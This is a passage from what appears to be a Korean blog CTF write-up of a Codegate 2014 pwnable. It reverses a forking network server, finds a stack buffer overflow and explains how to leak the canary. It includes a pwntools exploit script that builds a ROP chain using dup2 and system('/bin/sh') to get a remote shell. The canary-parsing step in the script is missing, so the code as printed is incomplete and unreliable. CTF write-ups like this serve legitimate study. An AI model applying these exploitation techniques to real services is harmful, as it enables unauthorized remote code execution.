ida가 없어서 gdb-peda로 어셈블리어로 하나하나 본 문제다.
대회문제라 그런지 symbol도 사라져 있는 상태였기 때문에
info file 명령어를 통해서 .text섹션의 시작지점에 break point를 설정하고 __libc_start_main함수를 통해서 main으로 들어가는 부분을 찾아냈다. (__libc_start_main+239에서 main으로 들어감)
아무튼 그렇게 들어가서 main 함수를 까보면 fork()하기 전까지는 별게 없다.
socket -> bind -> accept 순으로 실행해서 신호가 오면 fork로 자식 프로세스를 생성해 0x8049201부분을 실행하게 된다.
이러한 메뉴를 띄워준다.
결론적으로 리버싱을 하게되면 알겠지만 4. Throw mouse부분에서 bufferOverflow가 발생한다.
그 전에 문제에 재밌는 몇 가지 낚시가 있는데
1번인 Sword를 고른 후에 HP를 검사해서 0x7a69이면 execl("/bin/sh", "sh", NULL)을 실행하고
5번인 Fist attack에서 (l/r) 중에 r을 선택하면 'special attack?'이라는 문구와 함께 입력을 받는데 이렇게 입력을 받은 값을 주소로 call을 실행해준다.
문제는 1번은 HP가 메뉴로 들어갈때 100보다 크면 100으로 초기화시켜주고 0이하면 접속을 끊어버리기 때문에 IntegerOverflow도 생각해봤는데 불가능했다. 또한 execl을 실행시킨다고 해도 서버단에서 쉘이 열리기 때문에 exploit이 불가능하다.
5번은 입력받은 값의 최상위 1바이트가 0x08이면 실행시키지 않는 부분 때문에 exploit이 불가능했다.
조잡하지만 리버싱한 결과는 이렇다.
각설하고 4번부분에서의 Overflow로 EIP를 조작하기 전에 canary를 우회해야한다. canary우회방법으로는 두가지가 있는데
1. canary의 값을 1byte씩 알아내기
2. canary값을 leak하기
결론적으로 말하면 2번을 사용했다. 환경만 된다면 2번이 쉽고 빠르다. 1번은 1바이트씩 덮어씌우면서 에러가 안나는 바이트를 찾아가는 건데 0x00~0xFF까지 256가지의 경우의 수에 4번을 해야되니까 1024번을 접속시도를 해야된다. 다른 프로그램들의 경우에는 순식간에 끝나겠지만 해당 문제는 진입시 2초를 기다려야 되는 부분이 있으므로 2*1024 = 2048초 즉 34분정도를 기다려야되므로 2번을 택해서 canary를 leak했다.
slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
from pwn import *
def find_canary_libc():
p = remote('localhost', 8888)
sleep(3)
p.recv()
sleep(0.1)
p.send('4')
p.recv()
payload = 'y'
payload += 'A'*10
p.send(payload)
recv_str = p.recv()
p.close()
return recv_canary, recv_libc
def main():
canary, libc_Addr = find_canary_libc()
system_Addr = libc_Addr - 0x9bed3
binsh_Addr = 0x804970d
dup2_Addr = libc_Addr + 0x91d
pop4ret_Addr = 0x80495bc
payload = ''
payload += 'y'
payload += 'A'*9
payload += p32(canary) #ebp-0xc
payload += 'AAAA' #ebp-0x8
payload += 'BBBB' #ebp-0x4
payload += 'CCCC' #ebp
payload += p32(dup2_Addr) #eip 1>&4
payload += p32(pop4ret_Addr+2)
payload += p32(4)
payload += p32(1)
payload += p32(dup2_Addr) #0<&4
payload += p32(pop4ret_Addr+2)
payload += p32(4)
payload += p32(0)
payload += p32(system_Addr) #system('/bin/sh')
payload += p32(0xdeadbeef)
payload += p32(binsh_Addr)
p = remote('localhost', 8888)
sleep(3)
p.recv()
sleep(0.1)
p.send('4')
p.recv()
p.send(payload)
sleep(0.1)
p.interactive()
if __name__ == '__main__' :
main()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
Exploit Flow
find_canary_libc에서 canary값을 가져오면서 lib값도 같이 나오길래 파싱해서 system주소와 dup2, binsh주소를 얻었다.
나머지는 간단한 rop구성으로 payload를 짰고 성공적으로 exploit이 됬다!
'System > Codegate 2014' 카테고리의 다른 글
[Codegate 2014] - nuclear - 190603 (0) | 2019.06.03 |
---|